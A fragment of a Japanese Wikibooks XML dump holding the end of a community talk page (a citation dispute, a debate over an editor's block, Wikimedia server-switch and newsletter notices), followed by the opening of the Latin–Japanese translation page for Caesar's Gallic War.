[[民法第877条]]、[[民法第879条]]も同様です。家事事件について、オールラウンダー系の判例集に掲載されることはまずありません。
--[[特別:投稿記録/~2026-52525-81|~2026-52525-81]] ([[利用者・トーク:~2026-52525-81|トーク]]) 2026年10月1日 (木) 03:59 (UTC)

すでに有名判例集の事件が載っているのならrvするのもわかりますが、空欄だったのなら専門分野系の判例集やLEX/DBなどの網羅的な判例データベースを引用するのはむしろ有益かと思います（現に、法律書の判例索引をみるとLEX/DBが挙げられているのも見受けられますし。）。読者視点に立てばTomzoさんの形式的論理に固執した行為は有害無益ですね。--[[特別:投稿記録/~2026-53249-29|~2026-53249-29]] ([[利用者・トーク:~2026-53249-29|トーク]]) 2026年10月3日 (土) 08:59 (UTC)

*{{user|Tomzo}}　例えば多数の判決が判例として列挙されているときに整理する際に「判例集#主要な判例集とその略称」を使うのならわかるのですが、掲載判例を0にするための根拠にすべきでないことは管理者である以上弁えるべきかと。沈黙を貫くのでなく弁明や反省をすべきでしょう。そのような態度や能力不足からも管理者の辞任を勧告します。--[[特別:投稿記録/~2026-55601-40|~2026-55601-40]] ([[利用者・トーク:~2026-55601-40|トーク]]) 2026年10月18日 (日) 14:18 (UTC)

== Wikidata Sitelink changes in Recent Changes and Watchlist ==
''(Apologies for cross-posting in English, translating it will help spread the message)''

Editors on group 1 wikis, including Wikiquote, Wikibooks, Wikiversity, Wikivoyage, and Wikisource, will no longer see notifications on [[Special:RecentChanges|Recent Changes]] and [[Special:Watchlist|Watchlist]] when a link to ''another'' language version of a page is added, removed, or changed in its Wikidata item. This change will begin on '''October 5 at 07:00 UTC''' as a two-week trial to reduce high-volume, low-value notifications and make higher-value changes easier to identify. Editors who rely on these notifications should be aware of the change and can share feedback or concerns on the [[m:Wikidata For Wikimedia Projects/Clearer Wikidata Edit Summaries/Hide Language Link edits|project]] or [[m:Talk:Wikidata_For_Wikimedia_Projects/Clearer_Wikidata_Edit_Summaries/Hide_Language_Link_edits|talk page]].&lt;br/&gt;Please reach out if you have any questions, thank you! -- [[User:Danny_Benjafield_(WMDE)|Danny Benjafield (WMDE)]] ([[User_talk:Danny_Benjafield_(WMDE)|talk]])  sent via [[利用者:MediaWiki message delivery|MediaWiki message delivery]] ([[利用者・トーク:MediaWiki message delivery|トーク]]) 2026年10月1日 (木) 12:42 (UTC)
&lt;!-- User:Danny Benjafield (WMDE)@metawiki が https://meta.wikimedia.org/w/index.php?title=User:Danny_Benjafield_(WMDE)/MassMessage_test_list&amp;oldid=31106967 のリストを使用して送信したメッセージ --&gt;

== すじにくシチュー氏が元気だった頃 ==
はじめまして。すじブックスです。ホームウィキはjawpですが、数年前、まだすじにくシチュー氏が元気だった頃、何度かjawbに寄稿していたこともあります。ときどきjawbの最近の更新もチェックしに来ています。相当嫌われているすじにく氏をテーマにするにあたって、副アカウントでの投稿ですが、ご容赦いただけると幸いです。

さて、単刀直入に私の問題意識を申しますと、jawbはずいぶんと勢いを失ったということです。私の体感ですが、すじにく氏が一日中ここにいた時代は、もっと活発でした。かつてjawbのサブプロジェクトだったjawvでは、プロジェクト存続に関する議論が行われている最中ですが、jawbも他人事ではないと思います。

もう一つの問題意識はすじにく氏に対する投稿ブロックについてです。すじにく氏はコミュニティからはひどく煙たがられており、氏のせいでjawbを去った編集者がいたことも承知しています。傍若無人な態度や対話拒否、暴言もありましたし、利用者ページを見れば、危うい思考を見て取れます。しかし、粗製乱造とはいえ、大量に記事を書いていたのもまた事実であります。今のjawbの現状を見ると、記事がないよりあったほうがマシだと感じるうえに、すじにく氏は枠を作ってくれていたように思います。少なくとも更新履歴に勢いを作ってくれていました。勢いがあるとか、自分にも貢献できるスタブがあるといった理由から、プロジェクトに人が集まってくると私は考えています。

まあ、しかし、すじにく氏謹製の英単語帳なんかを見ると、鼻持ちならない代物ですけど。それでも、十分に大きいコミュニティなら、たくさんの人が関わって、立派な単語帳に育っていたんじゃないでしょうか。もちろん、すじにく氏のブロックが、すなわちjawbの失速に繋がったとは言いませんが、もったいないことをしたんじゃないでしょうか？

すじにく氏は検定教科書を揃え、一日の大半の時間を教科書執筆に捧げていました。時間的・労力的観点から、すじにく氏のように活動できる人は、ここには他にいません。そういえばjawbでは、翻訳ソフトを使用して巧妙に剽窃された海賊版教科書もひっそりと問題になりましたが（現在も問題かもしれませんが）、少なくともすじにく氏はそのようなことをしません。なぜなら、氏の執筆への思いは、誠実だからです（もちろん、猪突猛進で独りよがりなのは否めません、対話拒否も）。氏のコモンズの履歴を確認すると、大量の画像資料（古典の音読まで含まれています）をアップロードしているのが分かります。しかもライセンスはパブリックドメインです。氏は手慰みに執筆しているのではなく、フリーな教科書に貢献したいという純粋な気持ちで取り組んでいるように感じます。

ところで、最近の更新を追っていると、真面目に取り組んでいる編集記録の合間に、きな臭いアカウント作成記録が挟まり、荒らしが好き勝手して去ってゆく荒野になりつつあるように見えます。記事そのものの執筆ではなく、教科書の整理や管理の記録が目立ちます。私がわずかながら寄稿していた数年前はすじにく氏が編集記録を彩っていたのに、今はあっけらかんとしているように感じます。

すじにく氏のブロックの議論にも問題があったように思います。逐一コミュニティとすじにく氏のやりとりを追っていたわけではありませんが、Honooo氏がすじにく氏を執拗におちょくって、反撃に出たところを捕まえて報告していたように見えます。Honooo氏はグローバルブロックされて、今年はLTAにもなりました。ウィキメディア財団以外のあちこちのウィキでも暴れ回っています。jawbのコミュニティはLTAに踊らされていたのではないでしょうか？

すじにく氏のブロック後も、ブロック破りと思われる編集がちらほらありましたし、Househome100氏として活動していた時期もありました。一方、Honooo氏がHousehome100氏のブロック破りを指摘しなければ放置されていたように思います。そもそもコミュニティはすじにく氏のブロックの頃から、あまり積極的ではなかったように感じます。Honooo氏がしつこく喧嘩を売って、追い詰めていただけで、コミュニティとすじにく氏は十分に対話できていなかったように思います。すじにく氏ともう一度話し合い、堂々と活動させてもいいんじゃないでしょうか？

最後に、ここまでお読みいただきありがとうございます。私はすじにく氏ではないことを断言しておきます。私の文体から明らかだと思います。アカウント名すじブックスは、すじにく氏のあの独特な匂いのする文章にまみれていた時代を懐かしんで付けました。--[[利用者:すじブックス|すじブックス]] ([[利用者・トーク:すじブックス|トーク]]) 2026年10月12日 (月) 18:12 (UTC)

:すじにくシチューの投稿ブロックに関わったので、応答責任があるかなぁと思い返信を差し上げます。
:まず、最初にすじブックスさんがすじにくシチューと同一人物でないことはよくわかります。文章の内容は理路整然としており、アレの対話(というよりも、一方的な演説)に見られる感情任せの荒っぽいものではありません。また、あの独特の粘着質かつ黒柳徹子さんのエッセイでしか見たことがない独特の読点の打ち方でないこともその証左となります。まぁ、あそこまで癖のある文体は中々お目にかかれないです(笑)。
:さて。そもそも、彼/彼女がブロックされたのはHonooo氏とは関係なく、私への暴言です。参考:[[トーク:中学校社会_歴史/第二次世界大戦#無題]]・談話室過去ログ https://ja.wikibooks.org/w/index.php?oldid=291757
:彼/彼女とは何度も「対話ならざる対話」を続けてきましたが、はっきり言うとアレと「コミュニケーション」を取ると疲弊します。それに、意にそぐわない差し戻しなどをすればすぐに激高して罵倒が始まります。それの応答に時間費やされるんですよ?　こっちは。あっちは感情的に罵倒すれば気が済んだんでしょうけど、こっちはすじにくシチューのどこが間違っているのかを手持ちの文献やら本文やらを照らし合わせて修正するんです。
:で、それはすじにくシチューがいなくなった今でも続いています。
:正直、あれは勢いではなく、荒れていただけです。すじにくシチューがなぜか出没せず、落ち着いたときに[[利用者:義務教育学校及び高等学校学習指導要領|義務教育ボーイ]]が出て、さらにすじにくが復帰して一時期ダブルで活動していたときの、精神的な疲弊は尋常ではなかったです。義務教育ボーイがブロックされて以来、脱力してブレイクに入り、今でもその影響を引きずっています。そんな中、すじにくシチューもブロックされたとき、ほっとしました。「すじにく氏のあの独特な匂いのする文章にまみれていた時代を懐かし」むどころではないです。
:なお、Househome100は私でもすじにくシチューの複垢を見抜けたので、結局どこかでブロックされたと思います。
:私は現状、すじにくシチューのようにコンビニ辺りで売っている豆知識本と中高生向け学参片手に気分で粗造乱造する執筆者よりも、Linguaeさんの[[ガリア戦記]]のように、堅実に仕事を進める方がもっと増える方がよいと考えています。--[[利用者:椎楽|椎楽]] ([[利用者・トーク:椎楽|トーク]]) 2026年10月13日 (火) 13:30 (UTC)

== サーバー切り替え - ご利用のウィキは間もなく短時間読み取り専用に切り替わります ==
&lt;section begin=&quot;server-switch&quot;/&gt;&lt;div class=&quot;plainlinks&quot;&gt;
[[:m:Special:MyLanguage/Tech/Server switch|他の言語で読む]] • [https://meta.wikimedia.org/w/index.php?title=Special:Translate&amp;group=page-Tech%2FServer+switch&amp;language=&amp;action=page&amp;filter= {{int:please-translate}}]

[[foundation:|ウィキメディア財団]]ではデータセンター間でのトラフィックの切り替えを行います。 災害が起こった場合でも、ウィキペディアとその他のウィキメディア・ウィキが確実にオンラインとなるようにするための措置です。

全トラフィックの切り替えは'''{{#time:n月j日|2026-10-28|ja}}'''に行います。 テストは '''[https://zonestamp.toolforge.org/{{#time:U|2026-10-28T15:00|en}} {{#time:H:i e|2026-10-28T15:00}}]''' に開始されます。

残念ながら [[mw:Special:MyLanguage/Manual:What is MediaWiki?|MediaWiki]] の技術的制約により、切り替え作業中はすべての編集を停止する必要があります。 ご不便をおかけすることをお詫びするとともに、将来的にはそれが最小限にとどめられるよう努めます。 

作業開始の30分前から、すべてのウィキで画面にバナーを表示する予定です。 このバナーはメンテナンス作業の終了まで表示されます。 
バナーテキストの[https://meta.wikimedia.org/w/index.php?title=Special%3ATranslate&amp;group=Centralnotice-tgroup-read_only_banner&amp;task=view&amp;language=&amp;filter=&amp;action=translate 翻訳や校正]にご協力ください、

'''閲覧は可能ですが、すべてのウィキにおいて編集ができないタイミングが短時間あります。'''

* {{#time:Y年n月j日(l)|2026-10-28|ja}}には、最大1時間ほど編集できない時間が発生します。
* この間に編集や保存を行おうとした場合、エラーメッセージが表示されます。 その間に行われた編集が失われないようには努めますが、保証することはできません。 エラーメッセージが表示された場合、通常状態に復帰するまでお待ちください。 その後、編集の保存が可能となっているはずです。 しかし念のため、保存ボタンを押す前に、行った変更のコピーをとっておくことをお勧めします。

''その他の影響'':

* バックグラウンドジョブが遅くなり、場合によっては失われることもあります。 赤リンクの更新が通常時よりも遅くなる場合があります。 特に他のページからリンクされているページを作成した場合、そのページは通常よりも「赤リンク」状態が長くなる場合があります。 長時間にわたって実行されるスクリプトは、停止しなければなりません。
* コードの実装は通常の週と同様に行う見込みです。 しかしながら、作業上の必要性に合わせ、ケースバイケースでいずれかのコードフリーズが計画時間に発生することもあります。
* [[mw:Special:MyLanguage/GitLab|GitLab]]は90分ほどの間に利用不可になります。

必要に応じてこの計画は延期されることがあります。 [[wikitech:Switch_Datacenter|wikitech.wikimedia.orgで工程表を見られます]]。 変更はすべて工程表で発表しますので、ご参照ください。 

'''この情報を皆さんのコミュニティで共有してください。'''&lt;/div&gt;&lt;section end=&quot;server-switch&quot;/&gt;

[[user:Trizek_(WMF)|Trizek_(WMF)]] 2026年10月26日 (月) 14:01 (UTC)
&lt;!-- User:Trizek (WMF)@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Non-Technical_Village_Pumps_distribution_list&amp;oldid=30513874 のリストを使用して送信したメッセージ --&gt;

== Wikimedians of Japan User Group 2026-10 ==
'''全体ニュース'''
* 来年、チリのサンティアゴで開催されるWikimania 2027の[[:wikimania:2027:Scholarships/ja|参加費用補助の申請]]は11月4日(AOE)までに延長されました。
* 1月から6月までの[https://wikimediafoundation.org/who-we-are/transparency/2026-1/ 透明性レポート](英語)が公表されました。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* ウィキメディア・ワールド2026に関連して11月13日まで[[:w:ja:Event:鎌倉エディタソン|オンライン鎌倉エディタソン]]を開催しています。
* 11月13日から15日まで、[[:m:Event:2026_Japan-Korea_friendship_event_at_Ulsan|2026日韓ウィキメディアン交流イベントin蔚山]]を開催します。
* 11月13日から14日まで開催される[https://www.k-of.jp/2026/ 関西オープンフォーラム]に参加します。
* 11月22日に[[:w:ja:Event:日台友好イベント2026|ウィキペディア・アジア月間 日台友好イベント2026]]を開催します。
* 12月5日に[[:m:Event:Wikipedia_25_Final_Editathon|Wikipedia 25 Final Editathon]]を開催します。
* 12月6日に[[:m:Wikimedians_of_Japan_User_Group/events/Japan_Wikimedia_Conference_2026|Japan Wikimedia Conference 2026]]を開催します。

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 11月1日から30日まで[[:w:ja:Wikipedia:ウィキペディア・アジア月間/2026|ウィキペディア・アジア月間 2026]]が開催されます。
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:カット (宝石)|カット (宝石)]]
**[[:w:ja:レーモン3世 (トリポリ伯)|レーモン3世 (トリポリ伯)]]
**[[:w:ja:グリーンピース銀河|グリーンピース銀河]]
**[[:w:ja:武田氏 (若狭小守護代)|武田氏 (若狭小守護代)]]
**[[:w:ja:後桜町天皇の皇位継承|後桜町天皇の皇位継承]]
**[[:w:ja:第一次ポエニ戦争|第一次ポエニ戦争]]
**[[:w:ja:紗那郵便局|紗那郵便局]]
**[[:w:ja:エイリーク1世 (ノルウェー王)|エイリーク1世 (ノルウェー王)]]
**[[:w:ja:竹実記|竹実記]]
**[[:w:ja:ケプラー (探査機)|ケプラー (探査機)]]
**[[:w:ja:シラス中毒事件|シラス中毒事件]]
**[[:w:ja:東照大権現|東照大権現]]
**[[:w:ja:本町通 (大阪市平野区)|本町通 (大阪市平野区)]]
**[[:w:ja:タコ漁|タコ漁]]
**[[:w:ja:狂言|狂言]]

'''11月のイベント情報'''
* 11/2 [https://www.libraryfair.jp/forum/2026/2302 今日からウィキペディアン！ ～達人に学ぶ編集テクニック～]
* 11/3 [https://www.facebook.com/events/29739331198987855/ Wikipediaブンガク16佐藤春夫]
* 11/3 [https://www.city.adachi.tokyo.jp/toshokan/topics/2026wikipediatown.html 図書館をフル活用してウィキペディアの記事を作ってみよう]

'''[[:wmfblog:|Diff]]'''
Diff掲載記事一覧（2026年10月）
タイトル / 著者；翻訳者 (掲載日) の順で記載しています。
* [https://diff.wikimedia.org/ja/2026/10/02/%e6%97%a5%e9%9f%93%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e4%ba%a4%e6%b5%81%e3%82%a4%e3%83%99%e3%83%b3%e3%83%88%e3%82%92%e5%94%90%e6%b4%a5%e3%81%ab%e9%96%8b%e5%82%ac/ 日韓ウィキペディアン交流イベントを唐津に開催しました] / Pusf.smbd (2026/10/02)
* [https://diff.wikimedia.org/ja/2026/10/02/wikimania-2026-%e5%8f%82%e5%8a%a0%e3%83%ac%e3%83%9d%e3%83%bc%e3%83%88%e2%91%a1-%e9%9f%93%e5%9b%bd%e6%bb%9e%e5%9c%a8%e3%81%a8-pre-conference%e3%80%8cwiki-ai%e3%80%8d/ Wikimania 2026 参加レポート② 韓国滞在と Pre-Conference「Wiki AI」] / Lin Xiangru (2026/10/02)
* [https://diff.wikimedia.org/ja/2026/10/05/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e3%83%bb%e3%83%a9%e3%83%86%e3%83%b3%e3%82%a2%e3%83%a1%e3%83%aa%e3%82%ab%e6%9c%88%e9%96%93/ ウィキペディア・ラテンアメリカ月間] / Wikimedia Mexico, Comunicacion wmmx ;  Wadakuramon (2026/10/05)
* [https://diff.wikimedia.org/ja/2026/10/06/%e8%87%aa%e4%b8%bb%e7%9a%84%e3%81%aa%e3%83%aa%e3%83%8f%e3%83%bc%e3%82%b5%e3%83%ab%e3%80%8150%e6%9e%9a%e3%81%ae%e7%b5%b5%e8%91%89%e6%9b%b8%e3%80%81%e6%96%b0%e3%81%97%e3%81%84%e5%8f%8b%e9%81%94%ef%bc%9a/ 自主的なリハーサル、50枚の絵葉書、新しい友達：３回目のウィキマニア体験] / Carlillasa ; Wadakuramon (2026/10/06)
* [https://diff.wikimedia.org/ja/2026/10/12/%e8%aa%bf%e3%81%b9%e3%81%a6%e3%80%81%e6%ad%a9%e3%81%84%e3%81%a6%e3%80%81%e6%9b%b8%e3%81%8d%e5%8a%a0%e3%81%88%e3%82%8b%e3%80%8c%e9%ad%9a%e6%b4%a5%e3%81%a7%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87/ 調べて、歩いて、書き加える!!「魚津でウィキペディアタウン」開催レポート] / Ujigis (2026/10/12)
* [https://diff.wikimedia.org/ja/2026/10/13/%e3%80%90%e5%89%8d%e7%b7%a8%e3%80%91%e5%b3%b0%e5%b1%b1%e8%97%a9%e4%b8%bb%e3%81%ae-wikidata-%e3%82%92%e6%95%b4%e5%82%99%e3%81%97%e3%82%88%e3%81%86/ 【前編】峰山藩主の Wikidata を整備しよう] / Lin Xiangru (2026/10/13)
* [https://diff.wikimedia.org/ja/2026/10/14/wikimania-2026-%e5%8f%82%e5%8a%a0%e3%83%ac%e3%83%9d%e3%83%bc%e3%83%88%e2%91%a2-%e3%83%9f%e3%83%bc%e3%83%88%e3%82%a2%e3%83%83%e3%83%97%e3%81%a8%e6%86%a7%e3%82%8c%e3%81%a8%e3%81%ae%e5%87%ba%e4%bc%9a/ Wikimania 2026 参加レポート③ ミートアップと憧れとの出会い] / Lin Xiangru (2026/10/14)
* [https://diff.wikimedia.org/ja/2026/10/15/%e5%ad%a6%e7%94%9f%e3%83%86%e3%83%83%e3%82%af%e3%82%ab%e3%83%b3%e3%83%95%e3%82%a1%e3%83%ac%e3%83%b3%e3%82%b9%e3%81%a7%e6%84%9f%e3%81%98%e3%81%9f%e3%80%81oss%e6%99%ae%e5%8f%8a%e3%81%ae%e9%9b%a3/ 学生テックカンファレンスで感じた、OSS普及の難しさ] / Ga2by (2026/10/15)
* [https://diff.wikimedia.org/ja/2026/10/17/%e7%b7%a8%e9%9b%86%e7%92%b0%e5%a2%83%e3%82%92%e3%82%ab%e3%82%b9%e3%82%bf%e3%83%9e%e3%82%a4%e3%82%ba%e3%81%97%e3%81%a6%e3%81%bf%e3%81%9f%e3%81%8a%e8%a9%b1-%e6%9a%a6%e3%81%af%e3%83%a0%e3%82%ba/ 編集環境をカスタマイズしてみたお話 – 暦はムズカシイ] / Lin Xiangru (2026/10/17)
* [https://diff.wikimedia.org/ja/2026/10/20/wikimania-2026-%e5%8f%82%e5%8a%a0%e3%83%ac%e3%83%9d%e3%83%bc%e3%83%88%e2%91%a3-%e7%a0%94%e7%a9%b6%e3%81%ae%e4%b8%96%e7%95%8c%e3%81%b8/ Wikimania 2026 参加レポート④ 研究の世界へ] / Lin Xiangru (2026/10/20)
* [https://diff.wikimedia.org/ja/2026/10/21/wikimania-2026-%e5%8f%82%e5%8a%a0%e3%83%ac%e3%83%9d%e3%83%bc%e3%83%88%e2%91%a4-%e6%97%85%e3%81%ae%e7%b5%82%e3%82%8f%e3%82%8a%e3%80%81%e3%81%9d%e3%81%97%e3%81%a6%e3%81%84%e3%82%8d%e3%81%84%e3%82%8d/ Wikimania 2026 参加レポート⑤ 旅の終わり、そしていろいろなことの始まり] / Lin Xiangru (2026/10/21)
* [https://diff.wikimedia.org/ja/2026/10/22/php%e3%81%ae%e8%84%86%e5%bc%b1%e6%80%a7%e3%81%8c%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%81%ae%e3%83%84%e3%83%bc%e3%83%ab%e3%81%8a%e3%82%88%e3%81%b3%e3%82%b5%e3%83%bc/ PHPの脆弱性がウィキメディアのツールおよびサービスに与える影響] / Wikimedia Foundation ; nanona15dobato (2026/10/22)
* [https://diff.wikimedia.org/ja/2026/10/22/php%e3%81%ae%e8%84%86%e5%bc%b1%e6%80%a7%e3%81%8c%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%bb%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%82%b5%e3%83%bc%e3%83%93%e3%82%b9/ PHPの脆弱性がウィキメディア・クラウドサービスに及ぼした影響について] / Wikimedia Foundation ; Twkz0731  (2026/10/22)
* [https://diff.wikimedia.org/ja/2026/10/25/%e5%a4%a7%e8%a6%8f%e6%a8%a1%e8%a8%80%e8%aa%9e%e3%83%a2%e3%83%87%e3%83%ab%e3%81%af%e4%ba%ba%e9%96%93%e3%82%88%e3%82%8a%e3%82%82%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%bb/ 大規模言語モデルは人間よりもウィキメディア・コモンズの素材を使う？] / Twkz0731 (2026/10/25)
* [https://diff.wikimedia.org/ja/2026/10/26/%e5%9c%b0%e7%90%83%e3%81%ae%e5%90%84%e5%9c%b0%e3%81%a7%ef%bc%9aeseap%e3%81%a7%e3%81%ae%e7%a7%81%e3%81%9f%e3%81%a1%e3%81%ae%e6%b4%bb%e5%8b%95%e3%82%92%e7%b4%b9%e4%bb%8b%e3%81%97%e3%81%be%e3%81%99/ 地球の各地で：ESEAPでの私たちの活動を紹介します] / IKristiani-WMF ; Wadakuramon (2026/10/26)
* [https://diff.wikimedia.org/ja/2026/10/28/%e3%83%a2%e3%83%81%e3%83%99%e3%83%bc%e3%82%b7%e3%83%a7%e3%83%b3%e3%82%92%e4%b8%8a%e3%81%92%e3%81%9f%e3%80%81%e3%81%af%e3%81%98%e3%82%81%e3%81%a6%e3%81%ae%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9e%e3%83%8b/ モチベーションを上げた、はじめてのウィキマニア – Wikimania 2026 参加レポート] / Lin Xiangru (2026/10/28)

'''前回配信：2026年9月31日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2026年10月31日 (土) 12:44 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=31129903 のリストを使用して送信したメッセージ --&gt;</text>
      <sha1>qw2te28ivbp7ku6i7nw52wgw7qldh70</sha1>
    </revision>
  </page>
  <page>
    <title>ガリア戦記</title>
    <ns>0</ns>
    <id>3514</id>
    <revision>
      <id>305247</id>
      <parentid>305128</parentid>
      <timestamp>2026-11-01T06:12:55Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>脚注など修正</comment>
      <origin>305247</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="15350" sha1="39zfrjfcpx3zvlxmcw1gvsforjtwrjm" xml:space="preserve">__notoc__
&lt;!--【2006年4月23日起稿】--&gt;
{{NDC|992|かりあせんき}}
{{NDC|232|かりあせんき}}
*[[古典ラテン語]]＞'''ガリア戦記'''
*[[ラテン文学]]＞'''ガリア戦記'''
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:18pt;color:#990033;text-align:center;background-color:#fee;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARII &amp;middot; DE &amp;middot; BELLO &amp;middot; GALLICO&lt;/div&gt;
:　
[[画像:Commentarii_de_Bello_Gallico.jpg|thumb|right|240px|1783年刊行の『ガリア戦記』と『内乱記』]]
[[画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|thumb|right|280px|カエサル(右)と対面する[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]](左)（リオネル＝ノエル・ロワイエ [[w:fr:Lionel Royer|(fr)]] 画、1899年）]]
&lt;div style=&quot;background-color:#fff; width:70%;&quot;&gt;[[w:古代ローマ|古代ローマ]]の政治家・武将・著述家である[[w:ガイウス・ユリウス・カエサル|ガイウス・ユリウス・カエサル4世]]（[[w:la:Gaius_Iulius_Caesar|Gaius Iulius Caesar IV]]）が[[w:ガリア戦争|ガリア戦争]]（[[w:la:Bellum_Gallicum|Bellum Gallicum]]）の経過を[[w:古典ラテン語|古典ラテン語]]で著述した[[w:ラテン文学|ラテン文学]]の古典的名著『ガリア戦記』（[[wikt:la:Commentarii_de_bello_Gallico|Commentarii de bello Gallico]]）の[[ラテン語]]・[[日本語]]対訳。第8巻のみ[[w:アウルス・ヒルティウス|アウルス・ヒルティウス]]（[[w:la:Aulus_Hirtius|Aulus Hirtius]]）による著作。
　刊行当時の書名は、『ガイウス・ユリウス・カエサルの業績（戦績）に関する覚え書』（C. Iulii Caesaris Commentarii Rerum Gestarum）であったと推定され、『'''[[内乱記]]'''』と併せたものであった。
ルネサンス期以降は『ガイウス・ユリウス・カエサルのガリア戦争および内戦に関する覚え書』（C. Iulii Caesaris Commentarii de Bello Gallico et Civili）と題して刊行されていた（右の画像）。&lt;/div&gt;

&lt;div style=&quot;background-color:#dfd; width:70%;&quot;&gt;　『ガリア戦記』は、ガリア戦争の当事者であるカエサルが、簡潔明晰かつ客観的に描写することにより自らの戦争の正当性を示し&lt;ref name=&quot;コトバンク-ガリア戦記&quot;&gt;日本大百科全書(ニッポニカ) 「ガリア戦記」、ブリタニカ国際大百科事典 小項目事典 「ガリア戦記」、等より、[https://kotobank.jp/word/%E3%81%8C%E3%82%8A%E3%81%82%E6%88%A6%E8%A8%98-3148597#w-1522021 ガリア戦記(ガリアセンキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;、自らに対する種々の非難に対する弁明を意図したものである&lt;ref name=&quot;コトバンク-ガリア戦記&quot;/&gt;。簡潔雄渾な名文として名高く&lt;ref name=&quot;コトバンク-ガリア戦記&quot;/&gt;、第一級の歴史書であるとともにラテン文学の傑作とされている&lt;ref name=&quot;コトバンク-ガリア戦記&quot;/&gt;。&lt;/div&gt;

&lt;br&gt;&lt;br&gt;
&lt;div style=&quot;border:solid #999 1px;background:#F8F8F8;max-width:60%;padding:0.5em 1em;margin:0.5em auto;align:left;overflow:auto;text-align:justify;&quot;&gt;
『ガリア戦記』冒頭部分の英語圏の人による朗読を聴いてみよう。

Gallia est omnis&lt;!--omnes--&gt; dīvīsa in partēs trēs; quārum ūnam incolunt Belgae, aliam Aquītānī, tertiam quī&lt;!--qui--&gt; ipsōrum linguā Celtae, nostrā Gallī appellantur. Hī omnēs linguā, īnstitūtīs, lēgibus inter sē differunt. Gallōs ab Aquītānīs Garumna flūmen, ā Belgīs Mātrona et Sēquana dīvidit.
::::: [[File:La-cls-de-bello-gallico.ogg]] 
::::::([[w:Vorbis|Ogg Vorbis]] 音声ファイル、&lt;strong&gt;長さ 54秒&lt;/strong&gt;、155 kbps)
&lt;/div&gt;


== 各巻対訳 ==
*[[ガリア戦記 第1巻]]（54節）{{進捗|25%|2009-07-28}}&lt;u&gt;（作成途上）&lt;/u&gt;：[[w:ヘルウェティイ族|ヘルウェティイー族]]との戦役。[[w:アリオウィストゥス|アリオウィストゥス]]との戦役。
*[[ガリア戦記 第2巻]]（35節）{{進捗|75%|2022-04-25}}：[[w:ベルガエ人|ベルガエ人]]同盟軍との戦役、大西洋岸の征服。　　　　 
*[[ガリア戦記 第3巻]]（29節）{{進捗|75%|2022-10-31}}：アルプスの戦い、[[w:アレモリカ|大西洋岸]]および[[w:アクィタニア|アクィータニア]]の平定。 &lt;!--【2007年4月30日から】--&gt;
*[[ガリア戦記 第4巻]]（38節）{{進捗|75%|2023-07-24}}：[[w:ゲルマニア|ゲルマーニア]]人との戦役。[[w:ブリタンニア|ブリタンニア]]への初めての遠征。 
*[[ガリア戦記 第5巻]]（58節）{{進捗|75%|2024-09-23}}：ブリタンニアへの再遠征。[[w:エブロネス族|エブローネース族]]ら諸部族の蜂起。 
*[[ガリア戦記 第6巻]]（44節）{{進捗|75%|2025-10-26}}：ガッリアと[[w:ゲルマニア|ゲルマーニア]]の社会と風習。エブローネース族らの平定。 
*[[ガリア戦記 第7巻]]（90節）{{進捗|50%|2026-10-25}}：[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]らが率いるガッリア同盟軍との戦役。 
*ガリア戦記 第8巻（55節）：&lt;u&gt;（掲載未定）&lt;/u&gt;
*:※第8巻は[[w:アウルス・ヒルティウス|アウルス・ヒルティウス]]の筆によるもので、文章の評価はカエサルのものに比べて格段劣る。

== 注解編と用例集 ==
[[画像:Vercingétorix se rend à César 1886 HPMotte.jpg|thumb|right|280px|カエサルのもとへ向かう[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]（アンリ＝ポール・モット [[w:fr:Henri-Paul Motte|(fr)]] 画、1886年）]]
;注解編
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解編]]　{{進捗|25%|2024-09-23}}&lt;/span&gt;　　　&lt;small&gt;（2020年3月27日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解編/写本と校訂版|/写本と校訂版]]　{{進捗|25%|2025-07-27}}&lt;/span&gt;&lt;!-- 2020-04-17 --&gt;　　　&lt;small&gt;（2020年4月17日から）&lt;/small&gt;
